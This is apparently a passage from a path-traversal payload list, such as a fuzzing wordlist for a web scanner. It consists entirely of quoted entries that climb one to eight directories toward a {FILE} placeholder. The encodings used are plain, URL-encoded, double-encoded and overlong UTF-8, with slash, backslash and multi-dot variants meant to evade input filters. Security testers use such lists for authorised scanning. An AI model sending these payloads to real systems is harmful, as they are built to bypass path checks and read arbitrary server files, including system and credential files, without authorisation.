"true,%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}",
"true,%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}",
"true,..%25c1%259c{FILE}",
"true,..%25c1%259c..%25c1%259c{FILE}",
"true,..%25c1%259c..%25c1%259c..%25c1%259c{FILE}",
"true,..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}",
"true,..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}",
"true,..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}",
"true,..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}",
"true,..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}",
"true,%25c0%25ae%25c0%25ae\\{FILE}",
"true,%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\{FILE}",
"true,%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\{FILE}",
"true,%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\{FILE}",
"true,%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\{FILE}",
"true,%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\{FILE}",
"true,%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\{FILE}",
"true,%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\%25c0%25ae%25c0%25ae\\{FILE}",
"true,%25c0%25ae%25c0%25ae%25c1%259c{FILE}",
"true,%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}",
"true,%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}",
"true,%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}",
"true,%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}",
"true,%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}",
"true,%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}",
"true,%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}",
"true,..%%32%66{FILE}",
"true,..%%32%66..%%32%66{FILE}",
"true,..%%32%66..%%32%66..%%32%66{FILE}",
"true,..%%32%66..%%32%66..%%32%66..%%32%66{FILE}",
"true,..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}",
"true,..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}",
"true,..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}",
"true,..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}",
"true,%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65%%32%66{FILE}",
"true,%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}",
"true,%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}",
"true,%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}",
"true,%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}",
"true,%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}",
"true,%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}",
"true,%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}",
"true,..%%35%63{FILE}",
"true,..%%35%63..%%35%63{FILE}",
"true,..%%35%63..%%35%63..%%35%63{FILE}",
"true,..%%35%63..%%35%63..%%35%63..%%35%63{FILE}",
"true,..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}",
"true,..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}",
"true,..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}",
"true,..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}",
"true,%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}",
"true,%%32%65%%32%65%%35%63{FILE}",
"true,%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}",
"true,%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}",
"true,%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}",
"true,%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}",
"true,%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}",
"true,%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}",
"true,%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}",
"true,../{FILE}",
"true,../../{FILE}",
"true,../../../{FILE}",
"true,../../../../{FILE}",
"true,../../../../../{FILE}",
"true,../../../../../../{FILE}",
"true,../../../../../../../{FILE}",
"true,../../../../../../../../{FILE}",
"true,..%2f{FILE}",
"true,..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,..%252f{FILE}",
"true,..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,..\\{FILE}",
"true,..\\..\\{FILE}",
"true,..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,..%5c{FILE}",
"true,..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,..%255c{FILE}",
"true,..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,../{FILE}",
"true,../../{FILE}",
"true,../../../{FILE}",
"true,../../../../{FILE}",
"true,../../../../../{FILE}",
"true,../../../../../../{FILE}",
"true,../../../../../../../{FILE}",
"true,../../../../../../../../{FILE}",
"true,..%2f{FILE}",
"true,..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,..%252f{FILE}",
"true,..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,..\\{FILE}",
"true,..\\..\\{FILE}",
"true,..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,..%5c{FILE}",
"true,..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,..%255c{FILE}",
"true,..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,\\../{FILE}",
"true,\\../\\../{FILE}",
"true,\\../\\../\\../{FILE}",
"true,\\../\\../\\../\\../{FILE}",
"true,\\../\\../\\../\\../\\../{FILE}",
"true,\\../\\../\\../\\../\\../\\../{FILE}",
"true,\\../\\../\\../\\../\\../\\../\\../{FILE}",
"true,\\../\\../\\../\\../\\../\\../\\../\\../{FILE}",
"true,/..\\{FILE}",
"true,/..\\/..\\{FILE}",
"true,/..\\/..\\/..\\{FILE}",
"true,/..\\/..\\/..\\/..\\{FILE}",
"true,/..\\/..\\/..\\/..\\/..\\{FILE}",
"true,/..\\/..\\/..\\/..\\/..\\/..\\{FILE}",
"true,/..\\/..\\/..\\/..\\/..\\/..\\/..\\{FILE}",
"true,/..\\/..\\/..\\/..\\/..\\/..\\/..\\/..\\{FILE}",
"true,.../{FILE}",
"true,.../.../{FILE}",
"true,.../.../.../{FILE}",
"true,.../.../.../.../{FILE}",
"true,.../.../.../.../.../{FILE}",
"true,.../.../.../.../.../.../{FILE}",
"true,.../.../.../.../.../.../.../{FILE}",
"true,.../.../.../.../.../.../.../.../{FILE}",
"true,...\\{FILE}",
"true,...\\...\\{FILE}",
"true,...\\...\\...\\{FILE}",
"true,...\\...\\...\\...\\{FILE}",
"true,...\\...\\...\\...\\...\\{FILE}",
"true,...\\...\\...\\...\\...\\...\\{FILE}",
"true,...\\...\\...\\...\\...\\...\\...\\{FILE}",
"true,...\\...\\...\\...\\...\\...\\...\\...\\{FILE}",
"true,..../{FILE}",
"true,..../..../{FILE}",
"true,..../..../..../{FILE}",
"true,..../..../..../..../{FILE}",
"true,..../..../..../..../..../{FILE}",
"true,..../..../..../..../..../..../{FILE}",
"true,..../..../..../..../..../..../..../{FILE}",
"true,..../..../..../..../..../..../..../..../{FILE}",
"true,....\\{FILE}",
"true,....\\....\\{FILE}",
"true,....\\....\\....\\{FILE}",
"true,....\\....\\....\\....\\{FILE}",
"true,....\\....\\....\\....\\....\\{FILE}",
"true,....\\....\\....\\....\\....\\....\\{FILE}",
"true,....\\....\\....\\....\\....\\....\\....\\{FILE}",
"true,....\\....\\....\\....\\....\\....\\....\\....\\{FILE}",
"true,........................................................................../{FILE}",
"true,........................................................................../../{FILE}",
"true,........................................................................../../../{FILE}",
"true,........................................................................../../../../{FILE}",
"true,........................................................................../../../../../{FILE}",
"true,........................................................................../../../../../../{FILE}",
"true,........................................................................../../../../../../../{FILE}",
"true,........................................................................../../../../../../../../{FILE}",
"true,..........................................................................\\{FILE}",
"true,..........................................................................\\..\\{FILE}",
"true,..........................................................................\\..\\..\\{FILE}",
"true,..........................................................................\\..\\..\\..\\{FILE}",
"true,..........................................................................\\..\\..\\..\\..\\{FILE}",
"true,..........................................................................\\..\\..\\..\\..\\..\\{FILE}",
"true,..........................................................................\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,..........................................................................\\..\\..\\..\\..\\..\\..\\..\\{FILE}",
